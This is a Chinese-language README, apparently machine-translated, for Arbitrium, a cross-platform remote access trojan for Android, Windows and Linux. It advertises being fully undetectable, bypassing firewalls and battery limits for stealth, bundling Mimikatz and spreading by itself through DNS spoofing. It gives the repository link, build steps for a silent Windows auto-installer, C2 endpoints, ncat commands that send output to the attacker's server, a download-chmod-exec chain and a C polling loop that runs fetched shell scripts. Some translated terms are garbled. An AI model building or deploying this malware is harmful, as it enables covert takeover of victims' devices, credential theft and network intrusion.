- 详情
- 目录
关于:
Arbitrium 是一个跨平台的远程访问木马 (RAT),完全无法检测 (FUD),它允许您控制 Android、Windows 和 Linux,并且不需要任何防火墙例外或端口转发。它提供对本地网络的访问权限,您可以将目标用作 HTTP 代理并访问路由器,发现本地 IP 并扫描其端口。包括 Mimikatz 等模块,可以轻松添加新模块。此外,如果 Arbitrium 与 DNS 欺骗软件一起使用,则可以在设备之间自主传播 (#AutoSpread)。Arbitrium 是一个由多个部分组成的项目,这些部分是使用 Java、JS、C、Python、Cordova 和 VueJS 构建的。
演示: https: //youtu.be/7KlPPND2b0g
特征:
- 恐惧症
客户端使用简单的工具使其完全无法检测到,基于 netcat 的木马主要通过管道传输 TCP paquets 来运行服务器的命令。
- 防火墙
Arbitrium 不需要添加防火墙例外或端口转发规则。服务器是一个带有端点的 API,它接收特定目标的任务和木马定期请求的其他目标以获取新指令,指令可以是 JavaScript 文件(Android 应用程序是使用 Cordova 制作的)或要在其中运行的 Shell 文件终端/CMD。一旦服务器收到设备的任务,前者会安排任务,然后打开一个子进程,通过侦听专用的临时端口等待木马的响应。因此,木马不需要监听任何端口。
- 电池优化/隐身模式
与 Stock Android 不同,小米的 MIUI、华为的 EMUI 或三星的 Android Pie 等自定义忽略了用户为应用程序提供的权限/例外。因此,如果您尝试在后台运行 Android 木马,当应用程序开始运行频繁或繁重(在某些情况下甚至是轻量级)任务(例如:定期发送 http 请求)时,无论用户授予什么权限,它都会被杀死,该操作系统完全忽略了当前设置,dontkillmyapp.com 是专门针对此特定问题的知名网站。
在处理这个项目时,上述问题非常烦人,一段时间后,我发现构建一个轻量级二进制文件,它在后台继续运行分配的任务,而 MainActivity 在启动二进制文件后就保持静止,似乎绕过了大多数限制,实际上什至改进了应用程序的性能。
MainActivity 从服务器接收一个 JS 文件并用于 ThreadPoolExecutor
启动二进制文件而不挂起它退出(更多关于这个StealthMode/BatteryBypass)。
- 网页界面
还有一个控制面板,它不是必需的,而是一个扩展,它是一个简单的 VueJS web 应用程序,一个 UI,您可以使用它来控制目标,而不是直接向 API 发送请求。该网络应用程序可在此处获得:Arbitrium WebApp
要求
- 安卓客户端
Java ver ...
Cordova
Android SDK & NDK
- Windows/Linux 客户端
Python3.6 (or newer)
PyInquirer
Winrar (Windows only)
建造
⚠️首先使用
setAPI_FQDN.sh
在所有文件中设置服务器域/IP
克隆回购:
git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive
- 安卓
$ cd ArbitriumClients/AndroidApp/ClientApp/
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build
里面的二进制文件
/libs
被剥离,所以如果你不调试,建议使用这些。
- 视窗
$ cd ArbitriumClients\WindowsApp
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe
成分
⚠️为 Android 构建的二进制文件应该放在里面
/assets
(binary_{cpuabi}
将它们/data/data/package_name
重命名为window.MyOrangePlugin.exec("/system/bin/ln -s ...
$ pip install flask flask_cors && ./runserver.sh # Python2.7
├── runserver.sh
├── main.py
├── reverse_http.py
├── initProxy.py
│
├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
│ ├── runFrame_arm64-v8a
│ ├── toolbox_arm64-v8a
│ ├── ... (x86, x86_64, armeabi-v7a)
│
│
├── JS_scripts
│ ├── checkupdate.js
│ ├── init.js
│ ├── runshell.js
│ └── StealthMode.js
│
├── misc
│
├── modules
│ ├── discover.py
│ ├── mimikatz.py
│ ├── ports.py
│ └── runCMD.py
│
└── threads
端点
⚠️API 的响应可能因运行木马的设备平台而异。以下部分主要探讨 Android 的情况,因为由于操作系统的限制,它是最复杂的。
- [获取] /checkupdate.js
当客户端向端点发送第一个请求时 /checkupdate.js
,服务器创建一个 genShell
对象,该对象为该设备设置一个唯一的本地端口 self.lport = self.setPort()
和一个线程 ID self.threaduid = random.randint
以及其他属性。然后返回适当的 JavaScript 代码(取决于 CPU/ABI),其中包含下载、chmod 和执行(主线程或 poolexec)一些资源的指令。至于下面的请求,它返回一个 JS 代码,如果有的话,它将执行未完成的任务。
runCMD
一种方法是 genShell
编写我们希望木马运行的 shell 脚本到里面的一个文件中 /assets
,稍后由客户端下载,然后使用 netcat 监听响应并将其通过管道传递到一个文件中 /threads
示例:假设您想将目标用作 HTTP 代理,API 将请求制定为以下 cmd:
echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n
然后保存到 assets/runsh_{uid_task}.sh
,然后根据请求是否来自 StealthMode/BatteryBypass,/checkupdate.js
让木马下载 shell 文件并运行。
>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
- [获取] /添加任务
使用适当的令牌,管理员可以让设备通过此端点运行命令,服务器会将此命令描述为待处理,这 /checkupdate.js
将影响对该设备的下一个响应。然后它会为这个任务返回一个随机生成的 id。
- [获取] /ping 任务
/addtask
生成的任务 ID 和上述线程 ID 的组合构成了保存命令输出的 threaduid
文件名。/threads
一旦请求此端点,它会检查是否 /threads/{threaduid}x{taskid}
存在,如果存在,则服务器返回文件的内容,否则返回 0。
- [GET] /runproxy & /pushproxy
这将 reverse_http.py
在一个单独的屏幕中运行,然后返回一个 IP:PORT(HTTP 代理),这将允许管理员通过木马设备传递 HTTP 请求。例如,如果管理员在浏览器设置中设置这些信息并尝试打开路由器端口(例如:)http://192.16...
,浏览器将打开路由器 Web 界面,就好像管理员是目标 LAN 的一部分一样。
-
客户端/木马(Android):该应用程序是使用 Cordova 构建的,因为它的简单性和对跨平台开发的支持。这个应用程序中继两个主要部分
-
netbolt 橙色插件:
这是我制作的一个 cordova 插件,它包含一些我们可以调用的函数
index.html
,通过下载的脚本/checkupdate.js
主要使用这些方法来运行分配的任务-
exec() : 执行 shell cmd 然后返回 cmd 输出,它在 UI 线程上运行
-
poolexec():与'exec()'相同,但是这个使用了所以
ThreadPoolExecutor
应用程序可以在不阻塞主线程的情况下运行 cmd,当输出准备好时,它通过具有退出状态的回调发送 -
download():这个用于下载 API 或管理员可能想要或需要执行任务的任何资源
-
示例:木马首先请求
/checkupdate.js
,假设这是一部 Android 手机,我们想要启动StealthMode/BatteryBypass以避免被杀死(电池优化......),然后 API 响应如下:function sfunc1(){ window.MyOrangePlugin.download([{Link for ELF} ...], function(res){ sfunc2(...); }); } function sfunc2(...){ window.MyOrangePlugin.exec("chmod ... ", function(res){ sfunc3(...); }); } function sfunc3(...){ window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){ ... }); }
该应用程序还使用了一个稍微定制的 Cordova 后台模式插件版本。
-
隐身模式:
-
runFrame.c:这是一个简单的 C 程序,每隔几秒通过套接字向 API 发送 HTTP 请求,将响应保存到 shell 文件,然后进行系统调用以运行它。
-
toolbox.c:这是一个独立的 netcat
-
生成的二进制文件是静态链接的,以确保稳定性和路径独立性。
runFrame
使用而不是仅仅在 index.html 中运行 JS 循环的重要性不仅限于前面解释的电池问题,而且还出于性能原因。使用此模式的应用程序使用的资源更少并且更可靠。runFrame
请求的频率默认设置为 5 秒,但它可以通过 API 进行操作(当没有预定的命令时,服务器会通过将其sleep 30
作为响应自动降低速度),因此,当管理员控制设备时或者将其用作代理,许多任务将被安排,并且每个任务之间的延迟不会很明显,否则我们不希望客户端继续发送频繁的请求,这会使它引人注目并消耗资源。⚠️API 识别请求是否来自 User-Agent: JustKidding 的这种模式,因此响应是
/checkupdate.js
兼容的。此外,只有在手机连接到 Wlan 时才会发出 HTTP 请求,这有两个主要原因,第一个是操作系统将停止的数据移动消耗,第二个是自主传播能力(#AutoSpread)// void bzero(void *s, size_t n); #define bzero(s, n) memset((s), 0, (n)) ... strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n"); char *routing = "ip route | grep wlan"; ... while (1){ routingSTAT = system(routing); // grep exit status will only equal 0 if a wlan interface was listed if (routingSTAT==0){ fd = socket_connect(argv[1], atoi(argv[2])); write(fd, reque, strlen(reque)); bzero(buffer, BUFFER_SIZE); ... }
-
-
客户端/特洛伊木马 ( Windows/Linux ):与这里的 android 不同,一个简单的 python 脚本就可以了。此外,Windows 版本配备了一个 VBA 脚本和 SFX 来制作一个静默的自动安装程序,木马将只是一个独立的可执行文件,在将其内容提取到 %TEMP% 后在后台运行。